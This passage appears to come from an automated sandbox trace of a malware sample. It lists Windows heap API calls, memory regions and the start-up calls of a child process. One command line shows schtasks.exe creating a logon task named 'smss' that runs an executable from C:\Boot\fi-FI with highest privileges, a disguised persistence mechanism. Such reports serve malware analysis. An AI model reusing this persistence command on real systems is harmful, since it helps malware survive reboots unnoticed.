GetProcessHeap () returned 0x370000 [0074.917] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce10) returned 1 [0074.917] GetProcessHeap () returned 0x370000 [0074.917] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ce10) returned 0x20 [0074.918] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ce10 | out: hHeap=0x370000) returned 1 [0074.918] GetProcessHeap () returned 0x370000 [0074.918] GetProcessHeap () returned 0x370000 [0074.918] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d680) returned 1 [0074.918] GetProcessHeap () returned 0x370000 [0074.918] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d680) returned 0x16 [0074.918] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d680 | out: hHeap=0x370000) returned 1 [0074.918] GetProcessHeap () returned 0x370000 [0074.918] GetProcessHeap () returned 0x370000 [0074.918] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cde0) returned 1 [0074.918] GetProcessHeap () returned 0x370000 [0074.918] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cde0) returned 0x20 [0074.919] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cde0 | out: hHeap=0x370000) returned 1 [0074.919] GetProcessHeap () returned 0x370000 [0074.919] GetProcessHeap () returned 0x370000 [0074.919] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6a0) returned 1 [0074.919] GetProcessHeap () returned 0x370000 [0074.920] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d6a0) returned 0x16 [0074.920] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6a0 | out: hHeap=0x370000) returned 1 [0074.920] GetProcessHeap () returned 0x370000 [0074.920] GetProcessHeap () returned 0x370000 [0074.920] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cdb0) returned 1 [0074.920] GetProcessHeap () returned 0x370000 [0074.920] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cdb0) returned 0x20 [0074.920] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cdb0 | out: hHeap=0x370000) returned 1 [0074.921] GetProcessHeap () returned 0x370000 [0074.921] GetProcessHeap () returned 0x370000 [0074.921] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x3a9af0) returned 1 [0074.922] GetProcessHeap () returned 0x370000 [0074.922] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3a9af0) returned 0x82 [0074.922] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3a9af0 | out: hHeap=0x370000) returned 1 [0074.922] GetProcessHeap () returned 0x370000 [0074.922] GetProcessHeap () returned 0x370000 [0074.922] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd80) returned 1 [0074.922] GetProcessHeap () returned 0x370000 [0074.922] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd80) returned 0x20 [0074.922] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd80 | out: hHeap=0x370000) returned 1 [0074.922] GetProcessHeap () returned 0x370000 [0074.923] GetProcessHeap () returned 0x370000 [0074.923] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6e0) returned 1 [0074.923] GetProcessHeap () returned 0x370000 [0074.923] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d6e0) returned 0xe [0074.923] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d6e0 | out: hHeap=0x370000) returned 1 [0074.923] GetProcessHeap () returned 0x370000 [0074.923] GetProcessHeap () returned 0x370000 [0074.923] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd50) returned 1 [0074.923] GetProcessHeap () returned 0x370000 [0074.923] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd50) returned 0x20 [0074.923] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd50 | out: hHeap=0x370000) returned 1 [0074.924] GetProcessHeap () returned 0x370000 [0074.924] GetProcessHeap () returned 0x370000 [0074.924] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d700) returned 1 [0074.924] GetProcessHeap () returned 0x370000 [0074.924] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d700) returned 0xa [0074.924] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d700 | out: hHeap=0x370000) returned 1 [0074.924] GetProcessHeap () returned 0x370000 [0074.924] GetProcessHeap () returned 0x370000 [0074.924] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd20) returned 1 [0074.924] GetProcessHeap () returned 0x370000 [0074.924] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd20) returned 0x20 [0074.924] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd20 | out: hHeap=0x370000) returned 1 [0074.925] GetProcessHeap () returned 0x370000 [0074.925] GetProcessHeap () returned 0x370000 [0074.925] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d720) returned 1 [0074.925] GetProcessHeap () returned 0x370000 [0074.925] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d720) returned 0xc [0074.925] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d720 | out: hHeap=0x370000) returned 1 [0074.925] GetProcessHeap () returned 0x370000 [0074.925] GetProcessHeap () returned 0x370000 [0074.925] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccf0) returned 1 [0074.925] GetProcessHeap () returned 0x370000 [0074.925] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ccf0) returned 0x20 [0074.925] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccf0 | out: hHeap=0x370000) returned 1 [0074.926] GetProcessHeap () returned 0x370000 [0074.926] GetProcessHeap () returned 0x370000 [0074.926] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38baf0) returned 1 [0074.926] GetProcessHeap () returned 0x370000 [0074.926] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38baf0) returned 0x18 [0074.926] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38baf0 | out: hHeap=0x370000) returned 1 [0074.926] GetProcessHeap () returned 0x370000 [0074.926] GetProcessHeap () returned 0x370000 [0074.926] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385a80) returned 1 [0074.926] GetProcessHeap () returned 0x370000 [0074.926] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385a80) returned 0x20 [0074.927] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385a80 | out: hHeap=0x370000) returned 1 [0074.927] GetProcessHeap () returned 0x370000 [0074.927] GetProcessHeap () returned 0x370000 [0074.927] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385ab0) returned 1 [0074.927] GetProcessHeap () returned 0x370000 [0074.927] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385ab0) returned 0x20 [0074.928] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ab0 | out: hHeap=0x370000) returned 1 [0074.928] GetProcessHeap () returned 0x370000 [0074.928] GetProcessHeap () returned 0x370000 [0074.928] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385ae0) returned 1 [0074.928] GetProcessHeap () returned 0x370000 [0074.928] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385ae0) returned 0x20 [0074.929] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ae0 | out: hHeap=0x370000) returned 1 [0074.929] GetProcessHeap () returned 0x370000 [0074.929] GetProcessHeap () returned 0x370000 [0074.929] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385b10) returned 1 [0074.929] GetProcessHeap () returned 0x370000 [0074.929] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385b10) returned 0x20 [0074.930] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b10 | out: hHeap=0x370000) returned 1 [0074.930] GetProcessHeap () returned 0x370000 [0074.930] GetProcessHeap () returned 0x370000 [0074.930] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb10) returned 1 [0074.930] GetProcessHeap () returned 0x370000 [0074.930] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bb10) returned 0x18 [0074.930] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb10 | out: hHeap=0x370000) returned 1 [0074.930] GetProcessHeap () returned 0x370000 [0074.930] GetProcessHeap () returned 0x370000 [0074.930] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385b40) returned 1 [0074.930] GetProcessHeap () returned 0x370000 [0074.930] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385b40) returned 0x20 [0074.931] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b40 | out: hHeap=0x370000) returned 1 [0074.931] GetProcessHeap () returned 0x370000 [0074.931] GetProcessHeap () returned 0x370000 [0074.931] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385bd0) returned 1 [0074.931] GetProcessHeap () returned 0x370000 [0074.931] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385bd0) returned 0x20 [0074.932] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385bd0 | out: hHeap=0x370000) returned 1 [0074.932] GetProcessHeap () returned 0x370000 [0074.932] GetProcessHeap () returned 0x370000 [0074.932] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c30) returned 1 [0074.932] GetProcessHeap () returned 0x370000 [0074.932] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c30) returned 0x20 [0074.932] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c30 | out: hHeap=0x370000) returned 1 [0074.932] GetProcessHeap () returned 0x370000 [0074.932] GetProcessHeap () returned 0x370000 [0074.932] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c90) returned 1 [0074.932] GetProcessHeap () returned 0x370000 [0074.932] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c90) returned 0x20 [0074.933] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c90 | out: hHeap=0x370000) returned 1 [0074.933] GetProcessHeap () returned 0x370000 [0074.933] GetProcessHeap () returned 0x370000 [0074.933] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385cc0) returned 1 [0074.933] GetProcessHeap () returned 0x370000 [0074.933] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385cc0) returned 0x20 [0074.934] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385cc0 | out: hHeap=0x370000) returned 1 [0074.934] GetProcessHeap () returned 0x370000 [0074.934] GetProcessHeap () returned 0x370000 [0074.934] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb30) returned 1 [0074.934] GetProcessHeap () returned 0x370000 [0074.991] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bb30) returned 0x18 [0074.991] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bb30 | out: hHeap=0x370000) returned 1 [0074.991] GetProcessHeap () returned 0x370000 [0074.991] GetProcessHeap () returned 0x370000 [0074.991] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c00) returned 1 [0074.991] GetProcessHeap () returned 0x370000 [0074.991] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c00) returned 0x20 [0074.992] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c00 | out: hHeap=0x370000) returned 1 [0074.992] GetProcessHeap () returned 0x370000 [0074.992] GetProcessHeap () returned 0x370000 [0074.992] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bab0) returned 1 [0074.992] GetProcessHeap () returned 0x370000 [0074.992] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bab0) returned 0x18 [0074.992] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bab0 | out: hHeap=0x370000) returned 1 [0074.992] exit (_Code=0) Thread: id = 153 os_tid = 0xa24 Process: id = "36" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d96f000" os_pid = "0xa50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"smss\" /sc ONLOGON /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3271 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3272 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3273 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3274 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3275 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3276 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3277 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3278 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3279 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3280 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3281 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3282 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3283 start_va = 0x240000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3284 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3285 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3286 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3287 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3288 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3289 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3290 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3291 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3292 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3293 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3294 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3295 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3296 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3297 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3298 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3299 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3300 start_va = 0xc0000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3301 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3302 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3303 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3304 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 3305 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3306 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3307 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3308 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 3309 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 3310 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3311 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3312 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3313 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3314 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3315 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3316 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3317 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3318 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3319 start_va = 0x1ec0000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 3320 start_va = 0x1f60000 end_va = 0x203efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f60000" filename = "" Region: id = 3321 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3326 start_va = 0x20f0000 end_va = 0x216ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 3327 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3328 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3329 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3330 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3331 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3332 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3333 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3336 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 154 os_tid = 0xc08 [0074.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23fb20 | out: lpSystemTimeAsFileTime=0x23fb20*(dwLowDateTime=0x557600c0, dwHighDateTime=0x1d9eb0c)) [0074.648] GetCurrentProcessId () returned 0xa50 [0074.648] GetCurrentThreadId () returned 0xc08 [0074.648] GetTickCount () returned 0x17681f2 [0074.648] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x23fb28 | out: lpPerformanceCount=0x23fb28*=2488113180016) returned 1 [0074.649] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0074.650] __set_app_type (_Type=0x1) [0074.650] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0074.650] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0074.650] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0074.651] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0074.651] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0074.651] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0074.651] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0074.651] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0074.651] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0074.651] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0074.651] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0074.652] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0074.652] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0074.652] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.652] WinSqmIsOptedIn () returned 0x0 [0074.652] GetProcessHeap () returned 0x2d0000 [0074.652] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba10 [0074.652] SetLastError (dwErrCode=0x0) [0074.653] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0074.653] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0074.653] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0074.653] VerifyVersionInfoW (in: lpVersionInformation=0x23f2e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x23f2e0) returned 1 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba30 [0074.653] lstrlenW (lpString="") returned 0 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x2) returned 0x2eba50 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e59e0 [0074.653] GetProcessHeap () returned 